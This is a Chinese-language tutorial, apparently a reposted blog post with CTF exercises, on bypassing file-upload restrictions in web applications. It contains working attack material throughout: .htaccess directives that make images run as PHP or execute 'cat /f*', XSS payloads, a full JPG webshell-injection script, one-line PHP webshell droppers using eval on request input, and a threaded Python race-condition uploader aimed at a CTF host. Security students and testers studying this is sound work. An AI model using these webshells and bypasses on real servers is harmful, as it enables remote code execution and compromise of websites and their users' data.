文件上传漏洞:你的网站安全吗?

文章目录

  • 文件上传漏洞
  • 攻击方式:
    • 0x01绕过前端限制
    • 0x02黑名单绕过
      • 1.特殊解析后缀绕过
      • 2..htaccess解析绕过
      • 3.大小写绕过
      • 4.点绕过
      • 5.空格绕过
      • 6.::$DATA绕过
      • 7.配合中间件解析漏洞
      • 8.双后缀名绕过
      • 9.短标签绕过
    • 0x03白名单绕过
      • 1.MIME绕过(Content-Type绕过)
      • 2.%00截断
      • 3.0x00截断
      • 4.0x0a截断
    • 0x04内容及其它绕过
      • 1.文件头检测绕过
      • 2.二次渲染绕过
      • 3.条件竞争
      • 4.添加大量垃圾字符绕过
      • 5.突破getimagesize
      • 6.突破exif_imagetype
    • 题目练习
        • [FSCTF 2023]加速加速
        • [UUCTF 2022 新生赛]uploadandinject

文件上传漏洞

原因:
·对于上传文件的后缀名(扩展名)没有做较为严格的限制
·对于上传文件的MIMETYPE(用于描述文件的类型的一种表述方法) 没有做检查
·权限上没有对于上传的文件目录设置不可执行权限,(尤其是对于shebang类型的文件)
·对于web server对于上传文件或者指定目录的行为没有做限制

webshell:指的是以asp 、php 、jsp 、aspx等网页文件形式存在的一种命令执行环境,也叫后门

攻击方式:

0x01绕过前端限制

当表单中调用js函数来检查上传文件拓展名时,客户端还没向服务器发送任何消息,就对本地文件进行检测判断是否是可以上传的类型,这种方法就是前端限制。

绕过方法:
1.F12修改js上传方法或通过改包工具修改上传(如bp)
2.如果是js脚本检测,F12->F1 禁用js即可绕过

0x02黑名单绕过

1.特殊解析后缀绕过

语言默认可解析后缀盲猜绕过可解析后缀
asp.net【IIS】asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php.php .html .htm 【apache】php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp*.jsp *.jspx 【tomcat】jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml

2…htaccess解析绕过

.htaccess文件(分布式配置文件):提供针对目录改变配置的方法。即在特定的文档目录放置一个包含指令的文件,以此作用于目录及其子目录
利用方式:
1.文件解析

<FileMatch "shell.jpg"> //将目录下的shell.jpg图片当作php脚本解析并执行
SetHandler application/x-httpd-php
</FileMatch>或者
AddType application/x-httpd-php .aaa //上传.aaa后缀文件,让其作为php类型文件并解析

2.文件包含
在本地文件包含中可以通过php_value来设置auto_prepend_file或auto_append_file包含一些敏感文件
例:

auto_prepend_file
php_value auto_prepend_file /etc/passwdauto_append_file
php_value auto_append_file /etc/passwd
例题payload:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C

3.源码泄露
利用php_flag将engine设置为0,在本目录和子目录中关闭php解析,造成源码泄露 php_flag engine 0
4.代码执行
利用伪协议 all_url_fopen 、all_url_include为On 解析.htaccess

(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
(2.1)
php_value auto_append_file .htaccess
#<?php phpinfo();
(2.2)
这种适合同目录或子目录没有 php 文件。
需要先设置允许可访问 .htaccess 文件Files ~ "^.ht">Require all grantedOrder allow,denyAllow from all
</Files>
将 .htaccess指定当做 php文件处理SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

5.命令执行

CGI

6.XSS

利用highlight_file

.htaccess
php_value highlight.comment '"><script>alert(1);</script>'index.php
<?php
highlight_file(__FILE__);
// comment
其中的 highlight.comment 也可以换成如下其他选项
index.php :
<?php
include('foo');#foo报错
.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

7.自定义错误文件

error.php
<?php include('shell');#报错页面.htaccess
php_value error_log /tmp/www/html/shell.php 
php_value include_path "<?php phpinfo(); __halt_compiler();"访问 error.php,会报错并记录在 shell.php 文件中因为会经过 html 编码,所以需要 UTF-7 来绕过。.htaccess# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

3.大小写绕过

由于黑名单过滤不全,未对后缀名大小写进行统一

4.点绕过

·windows系统下,文件后缀名最后一个点会被自动去除
·linux系统下,文化后缀名最后一个点不会被自动去除
所以在windows系统下利用bp截断http请求,在上传文件后缀后加.绕过上传
例如: demo.php.

5.空格绕过

·windows系统下,对于文件名【demo.php(空格)】会被当作空处理,检测代码不能自动删除空格,从而绕过黑名单。文件上传后,会自动删除空格

6.::$DATA绕过

·windows系统下,上传的文件名为a.php::$DATA 会在服务器上生成一个a.php文件,其中内容与上传的的内容相同并被解析

7.配合中间件解析漏洞

8.双后缀名绕过

过滤代码对文件名称进行敏感字符清除时使用

9.短标签绕过

<script language="php">phpinfo();</script>    #phpinfo()可以替换成想要执行的代码

0x03白名单绕过

1.MIME绕过(Content-Type绕过)

通过抓包,修改Content-Type类型为指定类型
在这里插入图片描述

也可以使用短标签,然后访问对应路径
GIF89a?<?= `cat /f*`;?>
为了节约长度也可以使用BM
BM<?=tac /f*;

2.%00截断

%00跟随url发送到服务器后被解码,这时还没传到验证函数,即验证函数接收到的是**%00被解码后的内容

**%00  ->0x00**

原理:

无论是0x00还是%00最终都会被解析成chr(0)  而0对于的字符是NULL,即空字符
当一个字符串中存在空字符时,空字符后面的字符会被丢弃
例如:文件1.php.jpg插入空字符变成1.php0x00.jpg,解析之后只剩1.php

%00截断只能绕过前端校验,有时%00会被档子字符串,可以通过对%00进行url编码或者用bp将hex的值修改为00
%00可以截断后端路径

3.0x00截断

0x00表示ascii码为0的字符,一些函数处理时,会把这个字符作为结束符,且这个00是文件十六进制中的00而不是文件名的00

4.0x0a截断

0x0a表示ascii码为/n的换行字符

0x04内容及其它绕过

1.文件头检测绕过

1.将马写入txt文件中,改为png后缀,然后用010在文件前面加上对应的图片头。
2.或Bp抓包,然后修改文件后缀
3.或

## ma.png 为要上传的图片【必须加/b】;
## 1.php 为一句话木马【必须加/a】;
## new 为重新定义的文件名;
copy ma.png/b+1.php/a new.png

2.二次渲染绕过

gif

渲染前后的两张 GIF,没有发生变化的数据块部分直接插入 Webshell 即可

在这里插入图片描述

png

PNG 没有 GIF 那么简单,需要将数据写入到 PLTE 数据块 或者 IDAT 数据块

在这里插入图片描述

jpg

JPG 需要使用脚本将数据插入到特定的数据块,而且可能会不成功,所以需要多次尝试 
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

用法:php payload.php a.jpg

3.条件竞争

以一个木马文件上传的实验为例

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

白名单判断是否为jpg、png、gif的一种,如果不是则会进行unlink删除操作。这里可以利用条件竞争在判断白名单和unlink操作之间上串木马。

先将php语句写入shell.php中

aaa<?php fputs(fopen("rv1nm4.php","w"), '<?ph ·eval($_POST[rv1nm4]);?>');?>

fopen()作用是打开一个名为rv1nm4.php文件,如果没有则创建该文件,第二个参数w表示以写入模式打开文件

fputs()将字符串写入到打开的文件中。并且包含一些特殊字符,如 <? · ; ?>

shell.php执行后新建rv1nm4.php文件并写入一句话木马,作用是当上传的shell.php文件被删除后,后端还会存在r1nm4.php后门,方便连接.

接下来抓取上传shell.php的包,发送到intruder模块,配置相关payloads,选择Null payloads并勾选无限重放(最好设置多线程,增加条件竞争成功的可能性),之后就是自动重放的过程

编写脚本检测条件竞争是否成功

url="http://127.0.0.1/upload-labs/upload/shell.php"
while True:html=requests.get(url)if html.status_code==200:print("YES,you upload it")else:print("NO")

4.添加大量垃圾字符绕过

例如:BuildCTF ez_waf

可以上传php 但是检测文件内容
利用大文件(增加脏数据,使得溢出)
在这里插入图片描述

在这里插入图片描述

5.突破getimagesize

6.突破exif_imagetype

题目练习

[FSCTF 2023]加速加速

直接通过脚本

# coding:utf-8
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):url = 'http://node4.anna.nssctf.cn:28352/index.php'files = {'upload_file': ('puu.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>' ); ?>")}data = {'submit': '上传'}r = requests.post(url=url, data=data, files=files)re = requests.get('http://node4.anna.nssctf.cn:28352/upload/puu.php')if re.status_code == 200:print('上传成功')
if __name__ == '__main__':with ThreadPoolExecutor(50) as p:p.map(td, range(2000))

然后访问shell.php,传参执行命令即可

[UUCTF 2022 新生赛]uploadandinject

考点:LD_PRELOAD劫持
LD_PRELOAD劫持

LD_PRELOAD允许你定义在程序运行前优先加载的动态链接库,那么我们便可以在自己定义的动态链接库中装入恶意函数.
image-20240829204848934

提示看hint.php
内容:nothing here,but I think you look look JPG,index's swp
提示我们看swp文件(Linux vim产生的文件)

http://node5.anna.nssctf.cn:28853/.index.php.swp下载.index.php.swp,
直接打开发现内容破损,使用vim恢复文件vim -r index.php.swp
内容如下:

$PATH=$_GET["image_path"];
if((!isset($PATH))){$PATH="upload/1.jpg";
}
echo "<div align='center'>";
loadimg($PATH);
echo "</div>";
function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so  LD_PRELOAD设置的优先加载动态链接库 putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=$img_path>";}else{system("echo Failed to load ");}
}

可以上传文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/61238.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

设计模式-适配器模式-注册器模式

设计模式-适配器模式-注册器模式 适配器模式 如果开发一个搜索中台&#xff0c;需要适配或接入不同的数据源&#xff0c;可能提供的方法参数和平台调用的方法参数不一致&#xff0c;可以使用适配器模式 适配器模式通过封装对象将复杂的转换过程隐藏于幕后。 被封装的对象甚至…

springboot341+vue校园求职招聘系统设计和实现pf(论文+源码)_kaic

毕 业 设 计&#xff08;论 文&#xff09; 校园求职招聘系统设计与实现 摘 要 传统办法管理信息首先需要花费的时间比较多&#xff0c;其次数据出错率比较高&#xff0c;而且对错误的数据进行更改也比较困难&#xff0c;最后&#xff0c;检索数据费事费力。因此&#xff0c;…

基于java web的网上书店系统设计

摘 要 随着互联网的越发普及&#xff0c;网上购物成为了当下流行的热门行为。网络上开店创业有许多的优势&#xff1a;投入少&#xff0c;启动 资金低&#xff0c;交易便捷。网上书店与传统的线下书店比起来优势巨大&#xff0c;网上书店的经营方式和销售渠道是不同与线下书 店…

【分布式】分布式事务

目录 1、事务的发展 2、本地事务 &#xff08;1&#xff09;如何保障原子性和持久性&#xff1f; &#xff08;2&#xff09;如何保障隔离性&#xff1f; 2、全局事务 &#xff08;1&#xff09;XA事务的两段式提交 &#xff08;2&#xff09;XA事务的三段式提交…

课程学习 (Curriculum Learning) 介绍及其在 DeepSpeed 框架中的应用:中英双语

中文版 课程学习 (Curriculum Learning) 介绍及其在 DeepSpeed 框架中的应用 1. 课程学习的概念 课程学习&#xff08;Curriculum Learning&#xff09;是机器学习中的一种训练策略&#xff0c;灵感来源于人类学习的过程——从简单到复杂逐步掌握知识。具体来说&#xff0c;…

Java设计模式——职责链模式:解锁高效灵活的请求处理之道

嘿&#xff0c;各位 Java 编程大神和爱好者们&#xff01;今天咱们要一同深入探索一种超厉害的设计模式——职责链模式。它就像一条神奇的“处理链”&#xff0c;能让请求在多个对象之间有条不紊地传递&#xff0c;直到找到最合适的“处理者”。准备好跟我一起揭开它神秘的面纱…

团队自创【国王的魔镜-2】

国王的魔镜-2 题目描述 国王有一个魔镜&#xff0c;可以把任何接触镜面的东西变成原来的两倍——只是&#xff0c;因为是镜子嘛&#xff0c;增加的那部分是反的。比如一条项链&#xff0c;我们用AB来表示&#xff0c;不同的字母表示不同颜色的珍珠。如果把B端接触镜面的话&am…

Android 设备使用 Wireshark 工具进行网络抓包

背景 电脑和手机连接同一网络&#xff0c;想使用wireshark抓包工具抓取Android手机网络日志&#xff0c;有以下两种连接方法&#xff1a; Wi-Fi 网络抓包。USB 网络共享抓包。需要USB 数据线将手机连接到电脑&#xff0c;并在开发者模式中启用 USB 网络共享。 查看设备连接信…

redis大key和热key

redis中大key、热key 什么是大key大key可能产生的原因大key可能会造成什么影响如何检测大key如何优化删除大key时可能的问题删除大key的策略 热key热key可能导致的问题解决热key的方法 什么是大key 大key通常是指占用内存空间过大或包含大量元素的键值对。 数据量大&#xff…

SpringBoot源码-spring boot启动入口ruan方法主线分析(二)

12.刷新前操作 // 刷新前操作prepareContext(context, environment, listeners, applicationArguments, printedBanner);进入prepareContext private void prepareContext(ConfigurableApplicationContext context, ConfigurableEnvironment environment,SpringApplicationRun…

macOS 版本对应的 Xcode 版本,以及 Xcode 历史版本下载

注&#xff1a;当前页面的所有Xcode下载链接均为苹果官方下载链接 &#xff0c;点击将直接转至苹果官网下载。 Xcode版本Xcode发布时间对应macOS版本macOS SDKsiOS SDKswatchOS SDKstvOS SDKs下载Xcode发布日志Xcode 15.413 May 2024macOS 14.014.5 (23F73)17.5 (21F77)10.5 (…

深入解析分布式遗传算法及其Python实现

目录 深入解析分布式遗传算法及其Python实现目录第一部分:分布式遗传算法的背景与原理1.1 遗传算法概述1.2 分布式遗传算法的引入1.3 分布式遗传算法的优点与挑战优点:挑战:第二部分:分布式遗传算法的通用Python实现2.1 基本组件的实现第三部分:案例1 - 基于多种交叉与变异…

使用 VLC 在本地搭建流媒体服务器 (详细版)

提示&#xff1a;详细流程 避坑指南 Hi~&#xff01;欢迎来到碧波空间&#xff0c;平时喜欢用博客记录学习的点滴&#xff0c;欢迎大家前来指正&#xff0c;欢迎欢迎~~ ✨✨ 主页&#xff1a;碧波 &#x1f4da; &#x1f4da; 专栏&#xff1a;音视频 目录 借助VLC media pl…

【单片机毕业设计12-基于stm32c8t6的智能称重系统设计】

【单片机毕业设计12-基于stm32c8t6的智能称重系统设计】 前言一、功能介绍二、硬件部分三、软件部分总结 前言 &#x1f525;这里是小殷学长&#xff0c;单片机毕业设计篇12-基于stm32c8t6的智能称重系统设计 &#x1f9ff;创作不易&#xff0c;拒绝白嫖可私 一、功能介绍 ----…

UE5 Line Trace By Channel(通道线条追踪)节点

在 Unreal Engine 5 (UE5) 中&#xff0c;Line Trace By Channel 是一个常用于进行物理射线检测&#xff08;raycasting&#xff09;的节点。它会沿着一条从起点到终点的直线发射一条射线&#xff0c;并检测射线与世界中任何物体的碰撞。这个节点广泛应用于枪械射击、检测物体、…

51单片机快速入门之中断的应用 2024/11/23 串口中断

51单片机快速入门之中断的应用 基本函数: void T0(void) interrupt 1 using 1 { 这里放入中断后需要做的操作 } void T0(void)&#xff1a; 这是一个函数声明&#xff0c;表明函数 T0 不接受任何参数&#xff0c;并且不返回任何值。 interrupt 1&#xff1a; 这是关键字和参…

软件工程头歌实训作业:Junit实训入门篇

第1关&#xff1a;第一个Junit测试程序 任务描述 请学员写一个名为testSub()的测试函数&#xff0c;来测试给定的减法函数是否正确。 相关知识 Junit编写原则 1、简化测试的编写&#xff0c;这种简化包括测试框架的学习和实际测试单元的编写。 2、测试单元保持持久性。 3、利用…

输入json 达到预览效果

下载 npm i vue-json-pretty2.4.0 <template><div class"newBranchesDialog"><t-base-dialogv-if"addDialogShow"title"Json数据配置"closeDialog"closeDialog":dialogVisible"addDialogShow":center"…

ML 系列:第 32节 — 机器学习中的统计简介

文章目录 一、说明二、统计概述三、描述性统计与推断性统计3.1 描述统计学3.2 推论统计 四、描述性统计中的均值、中位数和众数 一、说明 机器学习中的统计 随着我们深入研究机器学习领域&#xff0c;了解统计学在该领域的作用至关重要。统计学是机器学习的支柱&#xff0c;它…

Blender 运行python脚本

Blender 运行python脚本 步骤 1&#xff1a;打开 Blender 首先&#xff0c;打开 Blender 软件。你可以从官方网站 [blender.org]( 下载最新的 Blender 版本&#xff0c;并按照安装向导进行安装。 步骤 2&#xff1a;打开“文本编辑器”面板 在 Blender 的默认布局中&#xff…